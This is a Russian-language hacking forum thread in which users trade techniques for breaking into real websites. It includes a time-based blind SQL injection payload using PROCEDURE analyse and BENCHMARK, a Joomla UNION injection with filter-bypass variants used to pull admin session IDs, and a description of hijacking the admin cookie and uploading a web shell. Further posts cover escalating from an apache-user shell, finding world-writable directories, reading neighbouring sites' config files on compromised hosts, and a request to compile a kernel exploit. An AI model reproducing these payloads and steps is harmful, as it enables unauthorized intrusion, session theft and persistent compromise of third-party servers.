Вопросы по уязвимостям

[BigBear]

Сообщение от nickcerdito

Какие есть варианты для инъекции в запросе

SELECT param1 FROM table where param2=1 LIMIT [SQL]

если фильтруется union и подавляется вывод ошибок?
Промучался час и ничего не придумал. В procedure analyse можно каким-то образом влепить SLEEP()?

Конечно, возможно, но только через альтернативу BENCHMARK.

Вектор через SLEEP() в данном случае не работает.

Пример

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(), 1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

[nickcerdito]

Сообщение от BigBear

Конечно, возможно, но только через альтернативу BENCHMARK.
Вектор через SLEEP() в данном случае не работает.

Да, спасибо, я, видимо, документацию не дочитал, делал все то же самое, но через sleep.

[omen666]

Здравствуйте! Есть иньекция в Joomla, вот так норм:
0") /*!union select*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39`
А если уже пхаю from #__users, jos_users и т.д. то не работает (.
Принтабельое 6 поле, ошибки мускуля нет.

[faza02]

urlencode, double urlencode, /*!12345jos_users*/, utf encode, from {x jos_users}, from `jos_users` и т. д.
реакция конкретно на jos_users? или users? или _?

[omen666]

Сообщение от faza02

urlencode, double urlencode, /*!12345jos_users*/, utf encode, from {x jos_users}, from `jos_users` и т. д.
реакция конкретно на jos_users? или users? или _?

Конкретно на jos_ или #__
Данные в POST, не бинарные.
#__users - не работает
%23__users - не работает
%2523__users - не работает
/*!12345jos_users*/ - не работает
from `jos_users` - не работает
from `database`. `jos_users` - не работает
/*!12345#__users*/ - работает.

Вытащил сессию так:
0") /*!union select*/ 1,2,3,4,5,concat_ws(0x3a,username,userid,client_id ,session_id),7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36, 37,38,39 from /*!12345#__session*/`

Через EditThisCookie в Chrome(http://www.editthiscookie.com/) подменил куку админа и залился.
Всем спасибо за внимание!

ps
faza02, напишите примеры запросов людям на будущее с utf encode и from {x jos_users}, спасибо!

[omen666]

Посоветуйте реверс ip в 1 клик, ну чтоб не копировать ип, вставлять, нажимать и т.д., так как на это все теряется время, а суть что оно делает итак понятна! Делитесь кто как юзает.

[QaRTiN]

ребят,подсобите советом)

на сервере есть шелл(.php) c привилегиями юзера apache
на том же сервере есть скрипт-аплоадер(.cgi),который выполняется с привилегиями юзера katya
при попытке залить шелл(.php или .pl) в папку доступную для записи только юзеру katya,шелл льется и запускается с правами apache
конфиг апача(httpd.conf) не доступен для чтения
что мне показалось странным,так это залитый через аплоадер php-файл:

<?php
echo get_current_user();
system(id);
?>

выдаёт:

katya
uid=48(apache) gid=48(apache)

скорее всего ситация тут стандартная и глуплю я,но можно ли там выполнить код с правами katya?

[omen666]

Сообщение от QaRTiN

ребят,подсобите советом)

на сервере есть шелл(.php) c привилегиями юзера apache
на том же сервере есть скрипт-аплоадер(.cgi),который выполняется с привилегиями юзера katya
при попытке залить шелл(.php или .pl) в папку доступную для записи только юзеру katya,шелл льется и запускается с правами apache
конфиг апача(httpd.conf) не доступен для чтения
что мне показалось странным,так это залитый через аплоадер php-файл:

<?php
echo get_current_user();
system(id);
?>

выдаёт:


скорее всего ситация тут стандартная и глуплю я,но можно ли там выполнить код с правами katya?

Ну найдите вритабельную папку и залейтесь, в чем проблема(где-то в шпоре скрипт на пыхе есть, который ищет вритабельные диры)?
А там уже походу дела посмотрите вокруг да около когда увидите всю картину
ps ну или через system и т.д. что-то в духе find / -type d -perm 0777 )

Посоветуйте реверс ip в 1 клик, ну чтоб не копировать ип, вставлять, нажимать и т.д., так как на это все теряется время, а суть что оно делает итак понятна! Делитесь кто как юзает.

Cамый оптимальный варант это ставим что-то типо адона IP Address and Domain Information под свой браузер.
На целевом сайте кликаем IP, выделяем, копируем Ctrl+С.
Нажимаем на сохраненную закладку Bing(вынести на панель инструментов чтоб поудобней!), или по метке в адресной строке если FF и т.д.
В Bing IP: Shift + Insert.

ps
некоторая хитрость как делать реверс ип по контенту, хотя капитан очевидность подсказывает что это итак очевидно.
Все-же если можем читать конфигы соседей с похеканных хостов, например Joomla и т.д.(впринципе применимо к любой CMS) в файле configuration.php есть описание к сайту в свойствах класса, вот как раз нужное в Bing и вставлять вместе с IP ).

[dr.Pilulkin]

Сообщение от Rus

пытался залить скрипт по совету гугла, который вроде как должен был помочь, но через telnet это гиблое дело, wget'a там нет.

Если cat есть.
shell# cat > script.sh
Лейте скрипт из буфера обмена потом ctrl-C в конце.

[Faaax]

Ребят подскажите в чём прикол?)
имеется шелл дапустим site.com/forum/shell.php
При выходе из диры /forum/ всё нормально,но ситуация такая что на сайте даже файлов таких нет что в корне.
при обращении из браузера к любому файлу что в корне идут ошибка 404
В чём прикол?
При заливке любого файла,на сайте его тоже нет якобы.
И ещё просьба,может кто скомпилить под сие чудо

Linux site 2.6.32-431.1.2.el6.x86_64 #1 SMP Thu Dec 12 13:59:19 CST 2013 x86_64 x86_64 x86_64 GNU/Linux